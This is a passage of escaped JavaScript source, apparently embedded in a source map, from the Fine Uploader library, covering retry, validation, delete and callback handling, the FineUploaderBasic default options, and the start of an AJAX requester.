occur\n         * @private\n         */\n        _manualRetry: function(id, callback) {\n            if (this._onBeforeManualRetry(id)) {\n                this._netUploadedOrQueued++;\n                this._uploadData.setStatus(id, qq.status.UPLOAD_RETRYING);\n\n                if (callback) {\n                    callback(id);\n                }\n                else {\n                    this._handler.retry(id);\n                }\n\n                return true;\n            }\n        },\n\n        _maybeAllComplete: function(id, status) {\n            var self = this,\n                notFinished = this._getNotFinished();\n\n            if (status === qq.status.UPLOAD_SUCCESSFUL) {\n                this._succeededSinceLastAllComplete.push(id);\n            }\n            else if (status === qq.status.UPLOAD_FAILED) {\n                this._failedSinceLastAllComplete.push(id);\n            }\n\n            if (notFinished === 0 &&\n                (this._succeededSinceLastAllComplete.length || this._failedSinceLastAllComplete.length)) {\n                // Attempt to ensure onAllComplete is not invoked before other callbacks, such as onCancel & onComplete\n                setTimeout(function() {\n                    self._onAllComplete(self._succeededSinceLastAllComplete, self._failedSinceLastAllComplete);\n                }, 0);\n            }\n        },\n\n        _maybeHandleIos8SafariWorkaround: function() {\n            var self = this;\n\n            if (this._options.workarounds.ios8SafariUploads && qq.ios800() && qq.iosSafari()) {\n                setTimeout(function() {\n                    window.alert(self._options.messages.unsupportedBrowserIos8Safari);\n                }, 0);\n                throw new qq.Error(this._options.messages.unsupportedBrowserIos8Safari);\n            }\n        },\n\n        _maybeParseAndSendUploadError: function(id, name, response, xhr) {\n            // Assuming no one will actually set the response code to something other than 200\n            // and still set 'success' to true...\n            if (!response.success) {\n                if (xhr && xhr.status !== 200 && !response.error) {\n                    this._options.callbacks.onError(id, name, \"XHR returned response code \" + xhr.status, xhr);\n                }\n                else {\n                    var errorReason = response.error ? response.error : this._options.text.defaultResponseError;\n                    this._options.callbacks.onError(id, name, errorReason, xhr);\n                }\n            }\n        },\n\n        _maybeProcessNextItemAfterOnValidateCallback: function(validItem, items, index, params, endpoint) {\n            var self = this;\n\n            if (items.length > index) {\n                if (validItem || !this._options.validation.stopOnFirstInvalidFile) {\n                    //use setTimeout to prevent a stack overflow with a large number of files in the batch & non-promissory callbacks\n                    setTimeout(function() {\n                        var validationDescriptor = self._getValidationDescriptor(items[index]),\n                            buttonId = self._getButtonId(items[index].file),\n                            button = self._getButton(buttonId);\n\n                        self._handleCheckedCallback({\n                            name: \"onValidate\",\n                            callback: qq.bind(self._options.callbacks.onValidate, self, validationDescriptor, button),\n                            onSuccess: qq.bind(self._onValidateCallbackSuccess, self, items, index, params, endpoint),\n                            onFailure: qq.bind(self._onValidateCallbackFailure, self, items, index, params, endpoint),\n                            identifier: \"Item '\" + validationDescriptor.name + \"', size: \" + validationDescriptor.size\n                        });\n                    }, 0);\n                }\n                else if (!validItem) {\n                    for (; index < items.length; index++) {\n                        self._fileOrBlobRejected(items[index].id);\n                    }\n                }\n            }\n        },\n\n        _onAllComplete: function(successful, failed) {\n            this._totalProgress && this._totalProgress.onAllComplete(successful, failed, this._preventRetries);\n\n            this._options.callbacks.onAllComplete(qq.extend([], successful), qq.extend([], failed));\n\n            this._succeededSinceLastAllComplete = [];\n            this._failedSinceLastAllComplete = [];\n        },\n\n        /**\n         * Attempt to automatically retry a failed upload.\n         *\n         * @param id The file ID of the failed upload\n         * @param name The name of the file associated with the failed upload\n         * @param responseJSON Response from the server, parsed into a javascript object\n         * @param xhr Ajax transport used to send the failed request\n         * @param callback Optional callback to be invoked if a retry is prudent.\n         * Invoked in lieu of asking the upload handler to retry.\n         * @returns {boolean} true if an auto-retry will occur\n         * @private\n         */\n        _onAutoRetry: function(id, name, responseJSON, xhr, callback) {\n            var self = this;\n\n            self._preventRetries[id] = responseJSON[self._options.retry.preventRetryResponseProperty];\n\n            if (self._shouldAutoRetry(id, name, responseJSON)) {\n                self._maybeParseAndSendUploadError.apply(self, arguments);\n                self._options.callbacks.onAutoRetry(id, name, self._autoRetries[id]);\n                self._onBeforeAutoRetry(id, name);\n\n                self._retryTimeouts[id] = setTimeout(function() {\n                    self.log(\"Retrying \" + name + \"...\");\n                    self._uploadData.setStatus(id, qq.status.UPLOAD_RETRYING);\n\n                    if (callback) {\n                        callback(id);\n                    }\n                    else {\n                        self._handler.retry(id);\n                    }\n                }, self._options.retry.autoAttemptDelay * 1000);\n\n                return true;\n            }\n        },\n\n        _onBeforeAutoRetry: function(id, name) {\n            this.log(\"Waiting \" + this._options.retry.autoAttemptDelay + \" seconds before retrying \" + name + \"...\");\n        },\n\n        //return false if we should not attempt the requested retry\n        _onBeforeManualRetry: function(id) {\n            var itemLimit = this._currentItemLimit,\n                fileName;\n\n            if (this._preventRetries[id]) {\n                this.log(\"Retries are forbidden for id \" + id, \"warn\");\n                return false;\n            }\n            else if (this._handler.isValid(id)) {\n                fileName = this.getName(id);\n\n                if (this._options.callbacks.onManualRetry(id, fileName) === false) {\n                    return false;\n                }\n\n                if (itemLimit > 0 && this._netUploadedOrQueued + 1 > itemLimit) {\n                    this._itemError(\"retryFailTooManyItems\");\n                    return false;\n                }\n\n                this.log(\"Retrying upload for '\" + fileName + \"' (id: \" + id + \")...\");\n                return true;\n            }\n            else {\n                this.log(\"'\" + id + \"' is not a valid file ID\", \"error\");\n                return false;\n            }\n        },\n\n        _onCancel: function(id, name) {\n            this._netUploadedOrQueued--;\n\n            clearTimeout(this._retryTimeouts[id]);\n\n            var storedItemIndex = qq.indexOf(this._storedIds, id);\n            if (!this._options.autoUpload && storedItemIndex >= 0) {\n                this._storedIds.splice(storedItemIndex, 1);\n            }\n\n            this._uploadData.setStatus(id, qq.status.CANCELED);\n        },\n\n        _onComplete: function(id, name, result, xhr) {\n            if (!result.success) {\n                this._netUploadedOrQueued--;\n                this._uploadData.setStatus(id, qq.status.UPLOAD_FAILED);\n\n                if (result[this._options.retry.preventRetryResponseProperty] === true) {\n                    this._preventRetries[id] = true;\n                }\n            }\n            else {\n                if (result.thumbnailUrl) {\n                    this._thumbnailUrls[id] = result.thumbnailUrl;\n                }\n\n                this._netUploaded++;\n                this._uploadData.setStatus(id, qq.status.UPLOAD_SUCCESSFUL);\n            }\n\n            this._maybeParseAndSendUploadError(id, name, result, xhr);\n\n            return result.success ? true : false;\n        },\n\n        _onDelete: function(id) {\n            this._uploadData.setStatus(id, qq.status.DELETING);\n        },\n\n        _onDeleteComplete: function(id, xhrOrXdr, isError) {\n            var name = this.getName(id);\n\n            if (isError) {\n                this._uploadData.setStatus(id, qq.status.DELETE_FAILED);\n                this.log(\"Delete request for '\" + name + \"' has failed.\", \"error\");\n\n                // For error reporting, we only have access to the response status if this is not\n                // an `XDomainRequest`.\n                if (xhrOrXdr.withCredentials === undefined) {\n                    this._options.callbacks.onError(id, name, \"Delete request failed\", xhrOrXdr);\n                }\n                else {\n                    this._options.callbacks.onError(id, name, \"Delete request failed with response code \" + xhrOrXdr.status, xhrOrXdr);\n                }\n            }\n            else {\n                this._netUploadedOrQueued--;\n                this._netUploaded--;\n                this._handler.expunge(id);\n                this._uploadData.setStatus(id, qq.status.DELETED);\n                this.log(\"Delete request for '\" + name + \"' has succeeded.\");\n            }\n        },\n\n        _onInputChange: function(input) {\n            var fileIndex;\n\n            if (qq.supportedFeatures.ajaxUploading) {\n                for (fileIndex = 0; fileIndex < input.files.length; fileIndex++) {\n                    this._annotateWithButtonId(input.files[fileIndex], input);\n                }\n\n                this.addFiles(input.files);\n            }\n            // Android 2.3.x will fire `onchange` even if no file has been selected\n            else if (input.value.length > 0) {\n                this.addFiles(input);\n            }\n\n            qq.each(this._buttons, function(idx, button) {\n                button.reset();\n            });\n        },\n\n        _onProgress: function(id, name, loaded, total) {\n            this._totalProgress && this._totalProgress.onIndividualProgress(id, loaded, total);\n        },\n\n        _onSubmit: function(id, name) {\n            //nothing to do yet in core uploader\n        },\n\n        _onSubmitCallbackSuccess: function(id, name) {\n            this._onSubmit.apply(this, arguments);\n            this._uploadData.setStatus(id, qq.status.SUBMITTED);\n            this._onSubmitted.apply(this, arguments);\n\n            if (this._options.autoUpload) {\n                this._options.callbacks.onSubmitted.apply(this, arguments);\n                this._uploadFile(id);\n            }\n            else {\n                this._storeForLater(id);\n                this._options.callbacks.onSubmitted.apply(this, arguments);\n            }\n        },\n\n        _onSubmitDelete: function(id, onSuccessCallback, additionalMandatedParams) {\n            var uuid = this.getUuid(id),\n                adjustedOnSuccessCallback;\n\n            if (onSuccessCallback) {\n                adjustedOnSuccessCallback = qq.bind(onSuccessCallback, this, id, uuid, additionalMandatedParams);\n            }\n\n            if (this._isDeletePossible()) {\n                this._handleCheckedCallback({\n                    name: \"onSubmitDelete\",\n                    callback: qq.bind(this._options.callbacks.onSubmitDelete, this, id),\n                    onSuccess: adjustedOnSuccessCallback ||\n                        qq.bind(this._deleteHandler.sendDelete, this, id, uuid, additionalMandatedParams),\n                    identifier: id\n                });\n                return true;\n            }\n            else {\n                this.log(\"Delete request ignored for ID \" + id + \", delete feature is disabled or request not possible \" +\n                    \"due to CORS on a user agent that does not support pre-flighting.\", \"warn\");\n                return false;\n            }\n        },\n\n        _onSubmitted: function(id) {\n            //nothing to do in the base uploader\n        },\n\n        _onTotalProgress: function(loaded, total) {\n            this._options.callbacks.onTotalProgress(loaded, total);\n        },\n\n        _onUploadPrep: function(id) {\n            // nothing to do in the core uploader for now\n        },\n\n        _onUpload: function(id, name) {\n            this._uploadData.setStatus(id, qq.status.UPLOADING);\n        },\n\n        _onUploadChunk: function(id, chunkData) {\n            //nothing to do in the base uploader\n        },\n\n        _onUploadStatusChange: function(id, oldStatus, newStatus) {\n            // Make sure a \"queued\" retry attempt is canceled if the upload has been paused\n            if (newStatus === qq.status.PAUSED) {\n                clearTimeout(this._retryTimeouts[id]);\n            }\n        },\n\n        _onValidateBatchCallbackFailure: function(fileWrappers) {\n            var self = this;\n\n            qq.each(fileWrappers, function(idx, fileWrapper) {\n                self._fileOrBlobRejected(fileWrapper.id);\n            });\n        },\n\n        _onValidateBatchCallbackSuccess: function(validationDescriptors, items, params, endpoint, button) {\n            var errorMessage,\n                itemLimit = this._currentItemLimit,\n                proposedNetFilesUploadedOrQueued = this._netUploadedOrQueued;\n\n            if (itemLimit === 0 || proposedNetFilesUploadedOrQueued <= itemLimit) {\n                if (items.length > 0) {\n                    this._handleCheckedCallback({\n                        name: \"onValidate\",\n                        callback: qq.bind(this._options.callbacks.onValidate, this, validationDescriptors[0], button),\n                        onSuccess: qq.bind(this._onValidateCallbackSuccess, this, items, 0, params, endpoint),\n                        onFailure: qq.bind(this._onValidateCallbackFailure, this, items, 0, params, endpoint),\n                        identifier: \"Item '\" + items[0].file.name + \"', size: \" + items[0].file.size\n                    });\n                }\n                else {\n                    this._itemError(\"noFilesError\");\n                }\n            }\n            else {\n                this._onValidateBatchCallbackFailure(items);\n                errorMessage = this._options.messages.tooManyItemsError\n                    .replace(/\\{netItems\\}/g, proposedNetFilesUploadedOrQueued)\n                    .replace(/\\{itemLimit\\}/g, itemLimit);\n                this._batchError(errorMessage);\n            }\n        },\n\n        _onValidateCallbackFailure: function(items, index, params, endpoint) {\n            var nextIndex = index + 1;\n\n            this._fileOrBlobRejected(items[index].id, items[index].file.name);\n\n            this._maybeProcessNextItemAfterOnValidateCallback(false, items, nextIndex, params, endpoint);\n        },\n\n        _onValidateCallbackSuccess: function(items, index, params, endpoint) {\n            var self = this,\n                nextIndex = index + 1,\n                validationDescriptor = this._getValidationDescriptor(items[index]);\n\n            this._validateFileOrBlobData(items[index], validationDescriptor)\n                .then(\n                function() {\n                    self._upload(items[index].id, params, endpoint);\n                    self._maybeProcessNextItemAfterOnValidateCallback(true, items, nextIndex, params, endpoint);\n                },\n                function() {\n                    self._maybeProcessNextItemAfterOnValidateCallback(false, items, nextIndex, params, endpoint);\n                }\n            );\n        },\n\n        _prepareItemsForUpload: function(items, params, endpoint) {\n            if (items.length === 0) {\n                this._itemError(\"noFilesError\");\n                return;\n            }\n\n            var validationDescriptors = this._getValidationDescriptors(items),\n                buttonId = this._getButtonId(items[0].file),\n                button = this._getButton(buttonId);\n\n            this._handleCheckedCallback({\n                name: \"onValidateBatch\",\n                callback: qq.bind(this._options.callbacks.onValidateBatch, this, validationDescriptors, button),\n                onSuccess: qq.bind(this._onValidateBatchCallbackSuccess, this, validationDescriptors, items, params, endpoint, button),\n                onFailure: qq.bind(this._onValidateBatchCallbackFailure, this, items),\n                identifier: \"batch validation\"\n            });\n        },\n\n        _preventLeaveInProgress: function() {\n            var self = this;\n\n            this._disposeSupport.attach(window, \"beforeunload\", function(e) {\n                if (self.getInProgress()) {\n                    e = e || window.event;\n                    // for ie, ff\n                    e.returnValue = self._options.messages.onLeave;\n                    // for webkit\n                    return self._options.messages.onLeave;\n                }\n            });\n        },\n\n        // Attempts to refresh session data only if the `qq.Session` module exists\n        // and a session endpoint has been specified.  The `onSessionRequestComplete`\n        // callback will be invoked once the refresh is complete.\n        _refreshSessionData: function() {\n            var self = this,\n                options = this._options.session;\n\n            /* jshint eqnull:true */\n            if (qq.Session && this._options.session.endpoint != null) {\n                if (!this._session) {\n                    qq.extend(options, {cors: this._options.cors});\n\n                    options.log = qq.bind(this.log, this);\n                    options.addFileRecord = qq.bind(this._addCannedFile, this);\n\n                    this._session = new qq.Session(options);\n                }\n\n                setTimeout(function() {\n                    self._session.refresh().then(function(response, xhrOrXdr) {\n                        self._sessionRequestComplete();\n                        self._options.callbacks.onSessionRequestComplete(response, true, xhrOrXdr);\n\n                    }, function(response, xhrOrXdr) {\n\n                        self._options.callbacks.onSessionRequestComplete(response, false, xhrOrXdr);\n                    });\n                }, 0);\n            }\n        },\n\n        _sessionRequestComplete: function() {},\n\n        _setSize: function(id, newSize) {\n            this._uploadData.updateSize(id, newSize);\n            this._totalProgress && this._totalProgress.onNewSize(id);\n        },\n\n        _shouldAutoRetry: function(id, name, responseJSON) {\n            var uploadData = this._uploadData.retrieve({id: id});\n\n            /*jshint laxbreak: true */\n            if (!this._preventRetries[id]\n                && this._options.retry.enableAuto\n                && uploadData.status !== qq.status.PAUSED) {\n\n                if (this._autoRetries[id] === undefined) {\n                    this._autoRetries[id] = 0;\n                }\n\n                if (this._autoRetries[id] < this._options.retry.maxAutoAttempts) {\n                    this._autoRetries[id] += 1;\n                    return true;\n                }\n            }\n\n            return false;\n        },\n\n        _storeForLater: function(id) {\n            this._storedIds.push(id);\n        },\n\n        // Maps a file with the button that was used to select it.\n        _trackButton: function(id) {\n            var buttonId;\n\n            if (qq.supportedFeatures.ajaxUploading) {\n                buttonId = this._handler.getFile(id).qqButtonId;\n            }\n            else {\n                buttonId = this._getButtonId(this._handler.getInput(id));\n            }\n\n            if (buttonId) {\n                this._buttonIdsForFileIds[id] = buttonId;\n            }\n        },\n\n        _updateFormSupportAndParams: function(formElementOrId) {\n            this._options.form.element = formElementOrId;\n\n            this._formSupport = qq.FormSupport && new qq.FormSupport(\n                    this._options.form, qq.bind(this.uploadStoredFiles, this), qq.bind(this.log, this)\n                );\n\n            if (this._formSupport && this._formSupport.attachedToForm) {\n                this._paramsStore.addReadOnly(null, this._formSupport.getFormInputsAsObject);\n\n                this._options.autoUpload = this._formSupport.newAutoUpload;\n                if (this._formSupport.newEndpoint) {\n                    this.setEndpoint(this._formSupport.newEndpoint);\n                }\n            }\n        },\n\n        _upload: function(id, params, endpoint) {\n            var name = this.getName(id);\n\n            if (params) {\n                this.setParams(params, id);\n            }\n\n            if (endpoint) {\n                this.setEndpoint(endpoint, id);\n            }\n\n            this._handleCheckedCallback({\n                name: \"onSubmit\",\n                callback: qq.bind(this._options.callbacks.onSubmit, this, id, name),\n                onSuccess: qq.bind(this._onSubmitCallbackSuccess, this, id, name),\n                onFailure: qq.bind(this._fileOrBlobRejected, this, id, name),\n                identifier: id\n            });\n        },\n\n        _uploadFile: function(id) {\n            if (!this._handler.upload(id)) {\n                this._uploadData.setStatus(id, qq.status.QUEUED);\n            }\n        },\n\n        _uploadStoredFiles: function() {\n            var idToUpload, stillSubmitting,\n                self = this;\n\n            while (this._storedIds.length) {\n                idToUpload = this._storedIds.shift();\n                this._uploadFile(idToUpload);\n            }\n\n            // If we are still waiting for some files to clear validation, attempt to upload these again in a bit\n            stillSubmitting = this.getUploads({status: qq.status.SUBMITTING}).length;\n            if (stillSubmitting) {\n                qq.log(\"Still waiting for \" + stillSubmitting + \" files to clear submit queue. Will re-parse stored IDs array shortly.\");\n                setTimeout(function() {\n                    self._uploadStoredFiles();\n                }, 1000);\n            }\n        },\n\n        /**\n         * Performs some internal validation checks on an item, defined in the `validation` option.\n         *\n         * @param fileWrapper Wrapper containing a `file` along with an `id`\n         * @param validationDescriptor Normalized information about the item (`size`, `name`).\n         * @returns qq.Promise with appropriate callbacks invoked depending on the validity of the file\n         * @private\n         */\n        _validateFileOrBlobData: function(fileWrapper, validationDescriptor) {\n            var self = this,\n                file = (function() {\n                    if (fileWrapper.file instanceof qq.BlobProxy) {\n                        return fileWrapper.file.referenceBlob;\n                    }\n                    return fileWrapper.file;\n                }()),\n                name = validationDescriptor.name,\n                size = validationDescriptor.size,\n                buttonId = this._getButtonId(fileWrapper.file),\n                validationBase = this._getValidationBase(buttonId),\n                validityChecker = new qq.Promise();\n\n            validityChecker.then(\n                function() {},\n                function() {\n                    self._fileOrBlobRejected(fileWrapper.id, name);\n                });\n\n            if (qq.isFileOrInput(file) && !this._isAllowedExtension(validationBase.allowedExtensions, name)) {\n                this._itemError(\"typeError\", name, file);\n                return validityChecker.failure();\n            }\n\n            if (size === 0) {\n                this._itemError(\"emptyError\", name, file);\n                return validityChecker.failure();\n            }\n\n            if (size > 0 && validationBase.sizeLimit && size > validationBase.sizeLimit) {\n                this._itemError(\"sizeError\", name, file);\n                return validityChecker.failure();\n            }\n\n            if (size > 0 && size < validationBase.minSizeLimit) {\n                this._itemError(\"minSizeError\", name, file);\n                return validityChecker.failure();\n            }\n\n            if (qq.ImageValidation && qq.supportedFeatures.imagePreviews && qq.isFile(file)) {\n                new qq.ImageValidation(file, qq.bind(self.log, self)).validate(validationBase.image).then(\n                    validityChecker.success,\n                    function(errorCode) {\n                        self._itemError(errorCode + \"ImageError\", name, file);\n                        validityChecker.failure();\n                    }\n                );\n            }\n            else {\n                validityChecker.success();\n            }\n\n            return validityChecker;\n        },\n\n        _wrapCallbacks: function() {\n            var self, safeCallback, prop;\n\n            self = this;\n\n            safeCallback = function(name, callback, args) {\n                var errorMsg;\n\n                try {\n                    return callback.apply(self, args);\n                }\n                catch (exception) {\n                    errorMsg = exception.message || exception.toString();\n                    self.log(\"Caught exception in '\" + name + \"' callback - \" + errorMsg, \"error\");\n                }\n            };\n\n            /* jshint forin: false, loopfunc: true */\n            for (prop in this._options.callbacks) {\n                (function() {\n                    var callbackName, callbackFunc;\n                    callbackName = prop;\n                    callbackFunc = self._options.callbacks[callbackName];\n                    self._options.callbacks[callbackName] = function() {\n                        return safeCallback(callbackName, callbackFunc, arguments);\n                    };\n                }());\n            }\n        }\n    };\n}());\n","/*globals qq*/\n(function() {\n    \"use strict\";\n\n    qq.FineUploaderBasic = function(o) {\n        var self = this;\n\n        // These options define FineUploaderBasic mode.\n        this._options = {\n            debug: false,\n            button: null,\n            multiple: true,\n            maxConnections: 3,\n            disableCancelForFormUploads: false,\n            autoUpload: true,\n\n            request: {\n                customHeaders: {},\n                endpoint: \"/server/upload\",\n                filenameParam: \"qqfilename\",\n                forceMultipart: true,\n                inputName: \"qqfile\",\n                method: \"POST\",\n                params: {},\n                paramsInBody: true,\n                totalFileSizeName: \"qqtotalfilesize\",\n                uuidName: \"qquuid\"\n            },\n\n            validation: {\n                allowedExtensions: [],\n                sizeLimit: 0,\n                minSizeLimit: 0,\n                itemLimit: 0,\n                stopOnFirstInvalidFile: true,\n                acceptFiles: null,\n                image: {\n                    maxHeight: 0,\n                    maxWidth: 0,\n                    minHeight: 0,\n                    minWidth: 0\n                }\n            },\n\n            callbacks: {\n                onSubmit: function(id, name) {},\n                onSubmitted: function(id, name) {},\n                onComplete: function(id, name, responseJSON, maybeXhr) {},\n                onAllComplete: function(successful, failed) {},\n                onCancel: function(id, name) {},\n                onUpload: function(id, name) {},\n                onUploadChunk: function(id, name, chunkData) {},\n                onUploadChunkSuccess: function(id, chunkData, responseJSON, xhr) {},\n                onResume: function(id, fileName, chunkData) {},\n                onProgress: function(id, name, loaded, total) {},\n                onTotalProgress: function(loaded, total) {},\n                onError: function(id, name, reason, maybeXhrOrXdr) {},\n                onAutoRetry: function(id, name, attemptNumber) {},\n                onManualRetry: function(id, name) {},\n                onValidateBatch: function(fileOrBlobData) {},\n                onValidate: function(fileOrBlobData) {},\n                onSubmitDelete: function(id) {},\n                onDelete: function(id) {},\n                onDeleteComplete: function(id, xhrOrXdr, isError) {},\n                onPasteReceived: function(blob) {},\n                onStatusChange: function(id, oldStatus, newStatus) {},\n                onSessionRequestComplete: function(response, success, xhrOrXdr) {}\n            },\n\n            messages: {\n                typeError: \"{file} has an invalid extension. Valid extension(s): {extensions}.\",\n                sizeError: \"{file} is too large, maximum file size is {sizeLimit}.\",\n                minSizeError: \"{file} is too small, minimum file size is {minSizeLimit}.\",\n                emptyError: \"{file} is empty, please select files again without it.\",\n                noFilesError: \"No files to upload.\",\n                tooManyItemsError: \"Too many items ({netItems}) would be uploaded.  Item limit is {itemLimit}.\",\n                maxHeightImageError: \"Image is too tall.\",\n                maxWidthImageError: \"Image is too wide.\",\n                minHeightImageError: \"Image is not tall enough.\",\n                minWidthImageError: \"Image is not wide enough.\",\n                retryFailTooManyItems: \"Retry failed - you have reached your file limit.\",\n                onLeave: \"The files are being uploaded, if you leave now the upload will be canceled.\",\n                unsupportedBrowserIos8Safari: \"Unrecoverable error - this browser does not permit file uploading of any kind due to serious bugs in iOS8 Safari.  Please use iOS8 Chrome until Apple fixes these issues.\"\n            },\n\n            retry: {\n                enableAuto: false,\n                maxAutoAttempts: 3,\n                autoAttemptDelay: 5,\n                preventRetryResponseProperty: \"preventRetry\"\n            },\n\n            classes: {\n                buttonHover: \"qq-upload-button-hover\",\n                buttonFocus: \"qq-upload-button-focus\"\n            },\n\n            chunking: {\n                enabled: false,\n                concurrent: {\n                    enabled: false\n                },\n                mandatory: false,\n                paramNames: {\n                    partIndex: \"qqpartindex\",\n                    partByteOffset: \"qqpartbyteoffset\",\n                    chunkSize: \"qqchunksize\",\n                    totalFileSize: \"qqtotalfilesize\",\n                    totalParts: \"qqtotalparts\"\n                },\n                partSize: 2000000,\n                // only relevant for traditional endpoints, only required when concurrent.enabled === true\n                success: {\n                    endpoint: null\n                }\n            },\n\n            resume: {\n                enabled: false,\n                recordsExpireIn: 7, //days\n                paramNames: {\n                    resuming: \"qqresume\"\n                }\n            },\n\n            formatFileName: function(fileOrBlobName) {\n                return fileOrBlobName;\n            },\n\n            text: {\n                defaultResponseError: \"Upload failure reason unknown\",\n                fileInputTitle: \"file input\",\n                sizeSymbols: [\"kB\", \"MB\", \"GB\", \"TB\", \"PB\", \"EB\"]\n            },\n\n            deleteFile: {\n                enabled: false,\n                method: \"DELETE\",\n                endpoint: \"/server/upload\",\n                customHeaders: {},\n                params: {}\n            },\n\n            cors: {\n                expected: false,\n                sendCredentials: false,\n                allowXdr: false\n            },\n\n            blobs: {\n                defaultName: \"misc_data\"\n            },\n\n            paste: {\n                targetElement: null,\n                defaultName: \"pasted_image\"\n            },\n\n            camera: {\n                ios: false,\n\n                // if ios is true: button is null means target the default button, otherwise target the button specified\n                button: null\n            },\n\n            // This refers to additional upload buttons to be handled by Fine Uploader.\n            // Each element is an object, containing `element` as the only required\n            // property.  The `element` must be a container that will ultimately\n            // contain an invisible `<input type=\"file\">` created by Fine Uploader.\n            // Optional properties of each object include `multiple`, `validation`,\n            // and `folders`.\n            extraButtons: [],\n\n            // Depends on the session module.  Used to query the server for an initial file list\n            // during initialization and optionally after a `reset`.\n            session: {\n                endpoint: null,\n                params: {},\n                customHeaders: {},\n                refreshOnReset: true\n            },\n\n            // Send parameters associated with an existing form along with the files\n            form: {\n                // Element ID, HTMLElement, or null\n                element: \"qq-form\",\n\n                // Overrides the base `autoUpload`, unless `element` is null.\n                autoUpload: false,\n\n                // true = upload files on form submission (and squelch submit event)\n                interceptSubmit: true\n            },\n\n            // scale images client side, upload a new file for each scaled version\n            scaling: {\n                customResizer: null,\n\n                // send the original file as well\n                sendOriginal: true,\n\n                // fox orientation for scaled images\n                orient: true,\n\n                // If null, scaled image type will match reference image type.  This value will be referred to\n                // for any size record that does not specific a type.\n                defaultType: null,\n\n                defaultQuality: 80,\n\n                failureText: \"Failed to scale\",\n\n                includeExif: false,\n\n                // metadata about each requested scaled version\n                sizes: []\n            },\n\n            workarounds: {\n                iosEmptyVideos: true,\n                ios8SafariUploads: true,\n                ios8BrowserCrash: false\n            }\n        };\n\n        // Replace any default options with user defined ones\n        qq.extend(this._options, o, true);\n\n        this._buttons = [];\n        this._extraButtonSpecs = {};\n        this._buttonIdsForFileIds = [];\n\n        this._wrapCallbacks();\n        this._disposeSupport =  new qq.DisposeSupport();\n\n        this._storedIds = [];\n        this._autoRetries = [];\n        this._retryTimeouts = [];\n        this._preventRetries = [];\n        this._thumbnailUrls = [];\n\n        this._netUploadedOrQueued = 0;\n        this._netUploaded = 0;\n        this._uploadData = this._createUploadDataTracker();\n\n        this._initFormSupportAndParams();\n\n        this._customHeadersStore = this._createStore(this._options.request.customHeaders);\n        this._deleteFileCustomHeadersStore = this._createStore(this._options.deleteFile.customHeaders);\n\n        this._deleteFileParamsStore = this._createStore(this._options.deleteFile.params);\n\n        this._endpointStore = this._createStore(this._options.request.endpoint);\n        this._deleteFileEndpointStore = this._createStore(this._options.deleteFile.endpoint);\n\n        this._handler = this._createUploadHandler();\n\n        this._deleteHandler = qq.DeleteFileAjaxRequester && this._createDeleteHandler();\n\n        if (this._options.button) {\n            this._defaultButtonId = this._createUploadButton({\n                element: this._options.button,\n                title: this._options.text.fileInputTitle\n            }).getButtonId();\n        }\n\n        this._generateExtraButtonSpecs();\n\n        this._handleCameraAccess();\n\n        if (this._options.paste.targetElement) {\n            if (qq.PasteSupport) {\n                this._pasteHandler = this._createPasteHandler();\n            }\n            else {\n                this.log(\"Paste support module not found\", \"error\");\n            }\n        }\n\n        this._preventLeaveInProgress();\n\n        this._imageGenerator = qq.ImageGenerator && new qq.ImageGenerator(qq.bind(this.log, this));\n        this._refreshSessionData();\n\n        this._succeededSinceLastAllComplete = [];\n        this._failedSinceLastAllComplete = [];\n\n        this._scaler = (qq.Scaler && new qq.Scaler(this._options.scaling, qq.bind(this.log, this))) || {};\n        if (this._scaler.enabled) {\n            this._customNewFileHandler = qq.bind(this._scaler.handleNewFile, this._scaler);\n        }\n\n        if (qq.TotalProgress && qq.supportedFeatures.progressBar) {\n            this._totalProgress = new qq.TotalProgress(\n                qq.bind(this._onTotalProgress, this),\n\n                function(id) {\n                    var entry = self._uploadData.retrieve({id: id});\n                    return (entry && entry.size) || 0;\n                }\n            );\n        }\n\n        this._currentItemLimit = this._options.validation.itemLimit;\n    };\n\n    // Define the private & public API methods.\n    qq.FineUploaderBasic.prototype = qq.basePublicApi;\n    qq.extend(qq.FineUploaderBasic.prototype, qq.basePrivateApi);\n}());\n","/*globals qq, XDomainRequest*/\n/** Generic class for sending non-upload ajax requests and handling the associated responses **/\nqq.AjaxRequester = function(o) {\n    \"use strict\";\n\n    var log, shouldParamsBeInQueryString,\n        queue = [],\n        requestData = {},\n        options = {\n            acceptHeader: null,\n            validMethods: [\"PATCH\", \"POST\", \"PUT\"],\n            method: \"POST\",\n            contentType: \"application/x-www-form-urlencoded\",\n            maxConnections: 3,\n            customHeaders: {},\n            endpointStore: {},\n            paramsStore: {},\n            mandatedParams: {},\n            allowXRequestedWithAndCacheControl: true,\n            successfulResponseCodes: {\n                DELETE: [200, 202, 204],\n                PATCH: [200, 201, 202, 203, 204],\n                POST: [200, 201, 202, 203, 204],\n                PUT: [200, 201, 202, 203, 204],\n                GET: [200]\n            },\n            cors: {\n                expected: false,\n                sendCredentials: false\n            },\n            log: function(str, level) {},\n            onSend: function(id) {},\n            onComplete: function(id, xhrOrXdr, isError) {},\n            onProgress: null\n        };\n\n    qq.extend(options, o);\n    log = options.log;\n\n    if (qq.indexOf(options.validMethods, options.method) < 0) {\n        throw new Error(\"'\" + options.method + \"' is not a supported method for this type of request!\");\n    }\n\n    // [Simple methods](http://www.w3.org/TR/cors/#simple-method)\n    // are defined by the W3C in the CORS spec as a list of methods that, in part,\n    // make a CORS request eligible to be exempt from preflighting.\n    function isSimpleMethod() {\n        return qq.indexOf([\"GET\", \"POST\", \"HEAD\"], options.method) >= 0;\n    }\n\n    // [Simple headers](http://www.w3.org/TR/cors/#simple-header)\n    // are defined by the W3C in the CORS spec as a list of headers that, in part,\n    // make a CORS request eligible to be exempt from preflighting.\n    function containsNonSimpleHeaders(headers) {\n        var containsNonSimple = false;\n\n        qq.each(containsNonSimple, function(idx, header) {\n            if (qq.indexOf([\"Accept\", \"Accept-Language\", \"Content-Language\", \"Content-Type\"], header) < 0) {\n                containsNonSimple = true;\n                return false;\n            }\n        });\n\n        return containsNonSimple;\n    }\n\n    function isXdr(xhr) {\n        //The `withCredentials` test is a commonly accepted way to determine if XHR supports CORS.\n        return options.cors.expected && xhr.withCredentials === undefined;\n    }\n\n    // Returns either a new `XMLHttpRequest` or `XDomainRequest` instance.\n    function getCorsAjaxTransport() {\n        var xhrOrXdr;\n\n        if (window.XMLHttpRequest || window.ActiveXObject) {\n            xhrOrXdr = qq.createXhrInstance();\n\n            if (xhrOrXdr.withCredentials === undefined) {\n                xhrOrXdr = new XDomainRequest();\n                // Workaround for XDR bug in IE9 - 